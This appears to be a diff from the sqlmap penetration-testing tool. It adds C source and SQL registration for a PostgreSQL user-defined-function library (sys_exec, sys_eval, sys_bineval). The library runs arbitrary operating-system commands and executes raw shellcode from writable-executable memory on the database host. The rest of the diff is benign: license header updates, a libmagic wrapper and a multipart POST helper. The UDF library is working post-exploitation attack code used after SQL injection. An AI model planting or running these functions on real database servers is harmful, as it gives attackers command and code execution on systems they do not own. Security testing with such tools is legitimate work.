|
||||||
|
|
||||||
|
PG_RETURN_INT32(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||||
|
{
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
__asm
|
||||||
|
{
|
||||||
|
mov eax, [lpParameter]
|
||||||
|
call eax
|
||||||
|
}
|
||||||
|
}
|
||||||
|
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,24 @@
|
|||||||
|
/*
|
||||||
|
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
Copyright (C) 2009 Bernardo Damele A. G.
|
||||||
|
web: http://bernardodamele.blogspot.com/
|
||||||
|
email: bernardo.damele@gmail.com
|
||||||
|
|
||||||
|
This library is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU Lesser General Public
|
||||||
|
License as published by the Free Software Foundation; either
|
||||||
|
version 2.1 of the License, or (at your option) any later version.
|
||||||
|
|
||||||
|
This library is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
Lesser General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU Lesser General Public
|
||||||
|
License along with this library; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
*/
|
||||||
|
|
||||||
|
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||||
|
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||||
|
CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||||
@@ -0,0 +1,192 @@
|
|||||||
|
/*
|
||||||
|
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
Copyright (C) 2009 Bernardo Damele A. G.
|
||||||
|
web: http://bernardodamele.blogspot.com/
|
||||||
|
email: bernardo.damele@gmail.com
|
||||||
|
|
||||||
|
This library is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU Lesser General Public
|
||||||
|
License as published by the Free Software Foundation; either
|
||||||
|
version 2.1 of the License, or (at your option) any later version.
|
||||||
|
|
||||||
|
This library is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
Lesser General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU Lesser General Public
|
||||||
|
License along with this library; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
*/
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
#define _USE_32BIT_TIME_T
|
||||||
|
#define DLLEXP __declspec(dllexport)
|
||||||
|
#define BUILDING_DLL 1
|
||||||
|
#else
|
||||||
|
#define DLLEXP
|
||||||
|
#include <sys/mman.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <postgres.h>
|
||||||
|
#include <fmgr.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#include <ctype.h>
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef PG_MODULE_MAGIC
|
||||||
|
PG_MODULE_MAGIC;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
PG_FUNCTION_INFO_V1(sys_exec);
|
||||||
|
extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
|
||||||
|
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||||
|
int32 argv0_size;
|
||||||
|
int32 result = 0;
|
||||||
|
char *command;
|
||||||
|
|
||||||
|
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||||
|
command = (char *)malloc(argv0_size + 1);
|
||||||
|
|
||||||
|
memcpy(command, VARDATA(argv0), argv0_size);
|
||||||
|
command[argv0_size] = '\0';
|
||||||
|
|
||||||
|
/*
|
||||||
|
Only if you want to log
|
||||||
|
elog(NOTICE, "Command execution: %s", command);
|
||||||
|
*/
|
||||||
|
|
||||||
|
result = system(command);
|
||||||
|
free(command);
|
||||||
|
|
||||||
|
PG_FREE_IF_COPY(argv0, 0);
|
||||||
|
PG_RETURN_INT32(result);
|
||||||
|
}
|
||||||
|
|
||||||
|
PG_FUNCTION_INFO_V1(sys_eval);
|
||||||
|
extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||||
|
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||||
|
text *result_text;
|
||||||
|
int32 argv0_size;
|
||||||
|
char *command;
|
||||||
|
char *result;
|
||||||
|
FILE *pipe;
|
||||||
|
char line[1024];
|
||||||
|
int32 outlen, linelen;
|
||||||
|
|
||||||
|
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||||
|
command = (char *)malloc(argv0_size + 1);
|
||||||
|
|
||||||
|
memcpy(command, VARDATA(argv0), argv0_size);
|
||||||
|
command[argv0_size] = '\0';
|
||||||
|
|
||||||
|
/*
|
||||||
|
Only if you want to log
|
||||||
|
elog(NOTICE, "Command evaluated: %s", command);
|
||||||
|
*/
|
||||||
|
|
||||||
|
result = (char *)malloc(1);
|
||||||
|
outlen = 0;
|
||||||
|
|
||||||
|
pipe = popen(command, "r");
|
||||||
|
|
||||||
|
while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||||
|
linelen = strlen(line);
|
||||||
|
result = (char *)realloc(result, outlen + linelen);
|
||||||
|
strncpy(result + outlen, line, linelen);
|
||||||
|
outlen = outlen + linelen;
|
||||||
|
}
|
||||||
|
|
||||||
|
pclose(pipe);
|
||||||
|
|
||||||
|
if (*result) {
|
||||||
|
result[outlen-1] = 0x00;
|
||||||
|
}
|
||||||
|
|
||||||
|
result_text = (text *)malloc(VARHDRSZ + strlen(result));
|
||||||
|
VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
|
||||||
|
//SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
|
||||||
|
memcpy(VARDATA(result_text), result, strlen(result));
|
||||||
|
|
||||||
|
PG_RETURN_POINTER(result_text);
|
||||||
|
}
|
||||||
|
|
||||||
|
PG_FUNCTION_INFO_V1(sys_bineval);
|
||||||
|
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||||
|
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||||
|
int32 argv0_size;
|
||||||
|
size_t len;
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
int pID;
|
||||||
|
char *code;
|
||||||
|
#else
|
||||||
|
int *addr;
|
||||||
|
size_t page_size;
|
||||||
|
pid_t pID;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||||
|
len = (size_t)argv0_size;
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
// allocate a +rwx memory page
|
||||||
|
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
|
strncpy(code, VARDATA(argv0), len);
|
||||||
|
|
||||||
|
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||||
|
#else
|
||||||
|
pID = fork();
|
||||||
|
if(pID<0)
|
||||||
|
PG_RETURN_INT32(1);
|
||||||
|
|
||||||
|
if(pID==0)
|
||||||
|
{
|
||||||
|
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||||
|
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||||
|
|
||||||
|
// mmap an rwx memory page
|
||||||
|
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||||
|
|
||||||
|
if (addr == MAP_FAILED)
|
||||||
|
PG_RETURN_INT32(1);
|
||||||
|
|
||||||
|
strncpy((char *)addr, VARDATA(argv0), len);
|
||||||
|
|
||||||
|
((void (*)(void))addr)();
|
||||||
|
}
|
||||||
|
|
||||||
|
if(pID>0)
|
||||||
|
waitpid(pID, 0, WNOHANG);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
PG_RETURN_INT32(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||||
|
{
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
__asm
|
||||||
|
{
|
||||||
|
mov eax, [lpParameter]
|
||||||
|
call eax
|
||||||
|
}
|
||||||
|
}
|
||||||
|
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,192 @@
|
|||||||
|
/*
|
||||||
|
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
Copyright (C) 2009 Bernardo Damele A. G.
|
||||||
|
web: http://bernardodamele.blogspot.com/
|
||||||
|
email: bernardo.damele@gmail.com
|
||||||
|
|
||||||
|
This library is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU Lesser General Public
|
||||||
|
License as published by the Free Software Foundation; either
|
||||||
|
version 2.1 of the License, or (at your option) any later version.
|
||||||
|
|
||||||
|
This library is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
Lesser General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU Lesser General Public
|
||||||
|
License along with this library; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
*/
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
#define _USE_32BIT_TIME_T
|
||||||
|
#define DLLEXP __declspec(dllexport)
|
||||||
|
#define BUILDING_DLL 1
|
||||||
|
#else
|
||||||
|
#define DLLEXP
|
||||||
|
#include <sys/mman.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <postgres.h>
|
||||||
|
#include <fmgr.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#include <ctype.h>
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef PG_MODULE_MAGIC
|
||||||
|
PG_MODULE_MAGIC;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
PG_FUNCTION_INFO_V1(sys_exec);
|
||||||
|
extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
|
||||||
|
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||||
|
int32 argv0_size;
|
||||||
|
int32 result = 0;
|
||||||
|
char *command;
|
||||||
|
|
||||||
|
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||||
|
command = (char *)malloc(argv0_size + 1);
|
||||||
|
|
||||||
|
memcpy(command, VARDATA(argv0), argv0_size);
|
||||||
|
command[argv0_size] = '\0';
|
||||||
|
|
||||||
|
/*
|
||||||
|
Only if you want to log
|
||||||
|
elog(NOTICE, "Command execution: %s", command);
|
||||||
|
*/
|
||||||
|
|
||||||
|
result = system(command);
|
||||||
|
free(command);
|
||||||
|
|
||||||
|
PG_FREE_IF_COPY(argv0, 0);
|
||||||
|
PG_RETURN_INT32(result);
|
||||||
|
}
|
||||||
|
|
||||||
|
PG_FUNCTION_INFO_V1(sys_eval);
|
||||||
|
extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||||
|
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||||
|
text *result_text;
|
||||||
|
int32 argv0_size;
|
||||||
|
char *command;
|
||||||
|
char *result;
|
||||||
|
FILE *pipe;
|
||||||
|
char line[1024];
|
||||||
|
int32 outlen, linelen;
|
||||||
|
|
||||||
|
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||||
|
command = (char *)malloc(argv0_size + 1);
|
||||||
|
|
||||||
|
memcpy(command, VARDATA(argv0), argv0_size);
|
||||||
|
command[argv0_size] = '\0';
|
||||||
|
|
||||||
|
/*
|
||||||
|
Only if you want to log
|
||||||
|
elog(NOTICE, "Command evaluated: %s", command);
|
||||||
|
*/
|
||||||
|
|
||||||
|
result = (char *)malloc(1);
|
||||||
|
outlen = 0;
|
||||||
|
|
||||||
|
pipe = popen(command, "r");
|
||||||
|
|
||||||
|
while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||||
|
linelen = strlen(line);
|
||||||
|
result = (char *)realloc(result, outlen + linelen);
|
||||||
|
strncpy(result + outlen, line, linelen);
|
||||||
|
outlen = outlen + linelen;
|
||||||
|
}
|
||||||
|
|
||||||
|
pclose(pipe);
|
||||||
|
|
||||||
|
if (*result) {
|
||||||
|
result[outlen-1] = 0x00;
|
||||||
|
}
|
||||||
|
|
||||||
|
result_text = (text *)malloc(VARHDRSZ + strlen(result));
|
||||||
|
//VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
|
||||||
|
SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
|
||||||
|
memcpy(VARDATA(result_text), result, strlen(result));
|
||||||
|
|
||||||
|
PG_RETURN_POINTER(result_text);
|
||||||
|
}
|
||||||
|
|
||||||
|
PG_FUNCTION_INFO_V1(sys_bineval);
|
||||||
|
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||||
|
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||||
|
int32 argv0_size;
|
||||||
|
size_t len;
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
int pID;
|
||||||
|
char *code;
|
||||||
|
#else
|
||||||
|
int *addr;
|
||||||
|
size_t page_size;
|
||||||
|
pid_t pID;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||||
|
len = (size_t)argv0_size;
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
// allocate a +rwx memory page
|
||||||
|
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
|
strncpy(code, VARDATA(argv0), len);
|
||||||
|
|
||||||
|
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||||
|
#else
|
||||||
|
pID = fork();
|
||||||
|
if(pID<0)
|
||||||
|
PG_RETURN_INT32(1);
|
||||||
|
|
||||||
|
if(pID==0)
|
||||||
|
{
|
||||||
|
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||||
|
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||||
|
|
||||||
|
// mmap an rwx memory page
|
||||||
|
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||||
|
|
||||||
|
if (addr == MAP_FAILED)
|
||||||
|
PG_RETURN_INT32(1);
|
||||||
|
|
||||||
|
strncpy((char *)addr, VARDATA(argv0), len);
|
||||||
|
|
||||||
|
((void (*)(void))addr)();
|
||||||
|
}
|
||||||
|
|
||||||
|
if(pID>0)
|
||||||
|
waitpid(pID, 0, WNOHANG);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
PG_RETURN_INT32(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||||
|
{
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
__asm
|
||||||
|
{
|
||||||
|
mov eax, [lpParameter]
|
||||||
|
call eax
|
||||||
|
}
|
||||||
|
}
|
||||||
|
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
BIN
extra/postgresqludfsys/lib_postgresqludf_sys_0.0.1.tar.gz
Normal file
BIN
extra/postgresqludfsys/lib_postgresqludf_sys_0.0.1.tar.gz
Normal file
Binary file not shown.
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
|||||||
194
lib/contrib/magic.py
Normal file
194
lib/contrib/magic.py
Normal file
@@ -0,0 +1,194 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
Adam Hupp <adam@hupp.org>
|
||||||
|
|
||||||
|
Reference: http://hupp.org/adam/hg/python-magic
|
||||||
|
|
||||||
|
License: PSF (http://www.python.org/psf/license/)
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os.path
|
||||||
|
import ctypes
|
||||||
|
import ctypes.util
|
||||||
|
|
||||||
|
from ctypes import c_char_p, c_int, c_size_t, c_void_p
|
||||||
|
|
||||||
|
class MagicException(Exception): pass
|
||||||
|
|
||||||
|
class Magic:
|
||||||
|
"""
|
||||||
|
Magic is a wrapper around the libmagic C library.
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, mime=False, magic_file=None):
|
||||||
|
"""
|
||||||
|
Create a new libmagic wrapper.
|
||||||
|
|
||||||
|
mime - if True, mimetypes are returned instead of textual descriptions
|
||||||
|
magic_file - use a mime database other than the system default
|
||||||
|
|
||||||
|
"""
|
||||||
|
flags = MAGIC_NONE
|
||||||
|
if mime:
|
||||||
|
flags |= MAGIC_MIME
|
||||||
|
|
||||||
|
self.cookie = magic_open(flags)
|
||||||
|
|
||||||
|
magic_load(self.cookie, magic_file)
|
||||||
|
|
||||||
|
def from_buffer(self, buf):
|
||||||
|
"""
|
||||||
|
Identify the contents of `buf`
|
||||||
|
"""
|
||||||
|
return magic_buffer(self.cookie, buf)
|
||||||
|
|
||||||
|
def from_file(self, filename):
|
||||||
|
"""
|
||||||
|
Identify the contents of file `filename`
|
||||||
|
raises IOError if the file does not exist
|
||||||
|
"""
|
||||||
|
|
||||||
|
if not os.path.exists(filename):
|
||||||
|
raise IOError("File does not exist: " + filename)
|
||||||
|
|
||||||
|
return magic_file(self.cookie, filename)
|
||||||
|
|
||||||
|
def __del__(self):
|
||||||
|
try:
|
||||||
|
magic_close(self.cookie)
|
||||||
|
except Exception, _:
|
||||||
|
pass
|
||||||
|
|
||||||
|
_magic_mime = None
|
||||||
|
_magic = None
|
||||||
|
|
||||||
|
def _get_magic_mime():
|
||||||
|
global _magic_mime
|
||||||
|
if not _magic_mime:
|
||||||
|
_magic_mime = Magic(mime=True)
|
||||||
|
return _magic_mime
|
||||||
|
|
||||||
|
def _get_magic():
|
||||||
|
global _magic
|
||||||
|
if not _magic:
|
||||||
|
_magic = Magic()
|
||||||
|
return _magic
|
||||||
|
|
||||||
|
def _get_magic_type(mime):
|
||||||
|
if mime:
|
||||||
|
return _get_magic_mime()
|
||||||
|
else:
|
||||||
|
return _get_magic()
|
||||||
|
|
||||||
|
def from_file(filename, mime=False):
|
||||||
|
m = _get_magic_type(mime)
|
||||||
|
return m.from_file(filename)
|
||||||
|
|
||||||
|
def from_buffer(buffer, mime=False):
|
||||||
|
m = _get_magic_type(mime)
|
||||||
|
return m.from_buffer(buffer)
|
||||||
|
|
||||||
|
try:
|
||||||
|
libmagic = ctypes.CDLL(ctypes.util.find_library('magic'))
|
||||||
|
|
||||||
|
magic_t = ctypes.c_void_p
|
||||||
|
|
||||||
|
def errorcheck(result, func, args):
|
||||||
|
err = magic_error(args[0])
|
||||||
|
if err is not None:
|
||||||
|
raise MagicException(err)
|
||||||
|
else:
|
||||||
|
return result
|
||||||
|
|
||||||
|
magic_open = libmagic.magic_open
|
||||||
|
magic_open.restype = magic_t
|
||||||
|
magic_open.argtypes = [c_int]
|
||||||
|
|
||||||
|
magic_close = libmagic.magic_close
|
||||||
|
magic_close.restype = None
|
||||||
|
magic_close.argtypes = [magic_t]
|
||||||
|
magic_close.errcheck = errorcheck
|
||||||
|
|
||||||
|
magic_error = libmagic.magic_error
|
||||||
|
magic_error.restype = c_char_p
|
||||||
|
magic_error.argtypes = [magic_t]
|
||||||
|
|
||||||
|
magic_errno = libmagic.magic_errno
|
||||||
|
magic_errno.restype = c_int
|
||||||
|
magic_errno.argtypes = [magic_t]
|
||||||
|
|
||||||
|
magic_file = libmagic.magic_file
|
||||||
|
magic_file.restype = c_char_p
|
||||||
|
magic_file.argtypes = [magic_t, c_char_p]
|
||||||
|
magic_file.errcheck = errorcheck
|
||||||
|
|
||||||
|
_magic_buffer = libmagic.magic_buffer
|
||||||
|
_magic_buffer.restype = c_char_p
|
||||||
|
_magic_buffer.argtypes = [magic_t, c_void_p, c_size_t]
|
||||||
|
_magic_buffer.errcheck = errorcheck
|
||||||
|
|
||||||
|
def magic_buffer(cookie, buf):
|
||||||
|
return _magic_buffer(cookie, buf, len(buf))
|
||||||
|
|
||||||
|
magic_load = libmagic.magic_load
|
||||||
|
magic_load.restype = c_int
|
||||||
|
magic_load.argtypes = [magic_t, c_char_p]
|
||||||
|
magic_load.errcheck = errorcheck
|
||||||
|
|
||||||
|
magic_setflags = libmagic.magic_setflags
|
||||||
|
magic_setflags.restype = c_int
|
||||||
|
magic_setflags.argtypes = [magic_t, c_int]
|
||||||
|
|
||||||
|
magic_check = libmagic.magic_check
|
||||||
|
magic_check.restype = c_int
|
||||||
|
magic_check.argtypes = [magic_t, c_char_p]
|
||||||
|
|
||||||
|
magic_compile = libmagic.magic_compile
|
||||||
|
magic_compile.restype = c_int
|
||||||
|
magic_compile.argtypes = [magic_t, c_char_p]
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
MAGIC_NONE = 0x000000 # No flags
|
||||||
|
|
||||||
|
MAGIC_DEBUG = 0x000001 # Turn on debugging
|
||||||
|
|
||||||
|
MAGIC_SYMLINK = 0x000002 # Follow symlinks
|
||||||
|
|
||||||
|
MAGIC_COMPRESS = 0x000004 # Check inside compressed files
|
||||||
|
|
||||||
|
MAGIC_DEVICES = 0x000008 # Look at the contents of devices
|
||||||
|
|
||||||
|
MAGIC_MIME = 0x000010 # Return a mime string
|
||||||
|
|
||||||
|
MAGIC_CONTINUE = 0x000020 # Return all matches
|
||||||
|
|
||||||
|
MAGIC_CHECK = 0x000040 # Print warnings to stderr
|
||||||
|
|
||||||
|
MAGIC_PRESERVE_ATIME = 0x000080 # Restore access time on exit
|
||||||
|
|
||||||
|
MAGIC_RAW = 0x000100 # Don't translate unprintable chars
|
||||||
|
|
||||||
|
MAGIC_ERROR = 0x000200 # Handle ENOENT etc as real errors
|
||||||
|
|
||||||
|
MAGIC_NO_CHECK_COMPRESS = 0x001000 # Don't check for compressed files
|
||||||
|
|
||||||
|
MAGIC_NO_CHECK_TAR = 0x002000 # Don't check for tar files
|
||||||
|
|
||||||
|
MAGIC_NO_CHECK_SOFT = 0x004000 # Don't check magic entries
|
||||||
|
|
||||||
|
MAGIC_NO_CHECK_APPTYPE = 0x008000 # Don't check application type
|
||||||
|
|
||||||
|
MAGIC_NO_CHECK_ELF = 0x010000 # Don't check for elf details
|
||||||
|
|
||||||
|
MAGIC_NO_CHECK_ASCII = 0x020000 # Don't check for ascii files
|
||||||
|
|
||||||
|
MAGIC_NO_CHECK_TROFF = 0x040000 # Don't check ascii/troff
|
||||||
|
|
||||||
|
MAGIC_NO_CHECK_FORTRAN = 0x080000 # Don't check ascii/fortran
|
||||||
|
|
||||||
|
MAGIC_NO_CHECK_TOKENS = 0x100000 # Don't check ascii/tokens
|
||||||
@@ -5,6 +5,8 @@ $Id$
|
|||||||
|
|
||||||
02/2006 Will Holcomb <wholcomb@gmail.com>
|
02/2006 Will Holcomb <wholcomb@gmail.com>
|
||||||
|
|
||||||
|
Reference: http://odin.himinbi.org/MultipartPostHandler.py
|
||||||
|
|
||||||
This library is free software; you can redistribute it and/or
|
This library is free software; you can redistribute it and/or
|
||||||
modify it under the terms of the GNU Lesser General Public
|
modify it under the terms of the GNU Lesser General Public
|
||||||
License as published by the Free Software Foundation; either
|
License as published by the Free Software Foundation; either
|
||||||
@@ -14,10 +16,12 @@ This library is distributed in the hope that it will be useful,
|
|||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
Lesser General Public License for more details.
|
Lesser General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU Lesser General Public
|
||||||
|
License along with this library; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import mimetools
|
import mimetools
|
||||||
import mimetypes
|
import mimetypes
|
||||||
import os
|
import os
|
||||||
@@ -33,7 +37,6 @@ class Callable:
|
|||||||
def __init__(self, anycallable):
|
def __init__(self, anycallable):
|
||||||
self.__call__ = anycallable
|
self.__call__ = anycallable
|
||||||
|
|
||||||
|
|
||||||
# Controls how sequences are uncoded. If true, elements may be given
|
# Controls how sequences are uncoded. If true, elements may be given
|
||||||
# multiple values by assigning a sequence.
|
# multiple values by assigning a sequence.
|
||||||
doseq = 1
|
doseq = 1
|
||||||
@@ -44,15 +47,17 @@ class MultipartPostHandler(urllib2.BaseHandler):
|
|||||||
|
|
||||||
def http_request(self, request):
|
def http_request(self, request):
|
||||||
data = request.get_data()
|
data = request.get_data()
|
||||||
|
|
||||||
if data is not None and type(data) != str:
|
if data is not None and type(data) != str:
|
||||||
v_files = []
|
v_files = []
|
||||||
v_vars = []
|
v_vars = []
|
||||||
|
|
||||||
try:
|
try:
|
||||||
for(key, value) in data.items():
|
for(key, value) in data.items():
|
||||||
if type(value) == file:
|
if type(value) == file:
|
||||||
v_files.append((key, value))
|
v_files.append((key, value))
|
||||||
else:
|
else:
|
||||||
v_vars.append((key, value))
|
v_vars.append((key, value))
|
||||||
except TypeError:
|
except TypeError:
|
||||||
systype, value, traceback = sys.exc_info()
|
systype, value, traceback = sys.exc_info()
|
||||||
raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback
|
